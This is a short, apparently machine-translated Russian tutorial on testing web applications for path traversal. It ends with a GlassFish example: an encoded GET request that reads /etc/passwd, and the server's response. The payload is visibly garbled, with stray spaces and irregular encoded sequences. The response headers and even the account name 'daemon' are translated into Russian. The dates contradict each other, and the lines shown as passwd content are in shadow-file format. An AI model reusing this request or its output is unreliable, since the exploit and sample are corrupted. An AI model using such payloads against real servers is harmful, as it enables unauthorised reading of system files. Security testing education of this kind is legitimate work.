Уязвимость обходапути позволяет узнать, разрешает ли веб-приложение несанкционированный доступ к файлам или каталогам, в доступе к которым должно быть отказано. Этот тип атаки использует параметры, передаваемые приложению, которые показывают пути к ресурсам, на которых выполняются определенные операции, такие как чтение, запись или отображение содержимого каталога. В результате это может привести к раскрытию избыточной информации, конфигурационных файлов и даже возможности удаленного выполнения кода. Уязвимость обхода пути может возникать в различных элементах программного обеспечения или его функций. Во время тестирования негде пропустить, но есть особенности, на которые стоит обратить особое внимание:
- Функции, отвечающие за загрузку файлов с сервера
- функции, отвечающие за загрузку настроек приложения (шаблоны, стили, язык интерфейса),
- функции, отвечающие за загрузку файлов на сервер.
Для тестирования уязвимостейпри обходе пути можно использоватьHTTP-прокси, например: Прокси-сервер Burp Suite. Его можно использовать для управления параметрами, представляющими путь, путем добавления соответствующих строк, таких как параметры пути. ".. /", направленный на "выпрыгивание" из обрабатываемого в данный момент каталога. Пример на следующем рисунке:
Другим примером уязвимости обхода пути может быть ошибка августа 2015 года, обнаруженная на сервере приложений GlassFish. Вызов соответствующего запроса, как показано ниже, позволил считывать любой файл с диска:
GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%c0%af%c0%c0%ae%c0%c0%af% c0%ae%ae%c0%c0%ae%c0%c0%c0%af%c0%c0%c0%c0%c0%c0%af%c0%c0%ae%ae% c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%ae%ae%ae %c0%afetc%c0%afpasswd
HTTP/1.1
Host: 127.0.0.1:4848
Accept: */*
Accept-Language: en
Connection: close
В ответ сервер возвращает содержимое файла /etc/passwd:
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1
Java/Oracle Corporation/1.7)
Последнее изменение: Вт, 13 Янв 2015 10:00:00 GMT
Дата: Вт, 10 Янв 2015 10:00:00 GMT
Подключение: закрыть
Длина контента: 1087
root:!:16436:0:99999:7:::
демон:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7::::
sync:*:16273:0:99999:7::::
[...]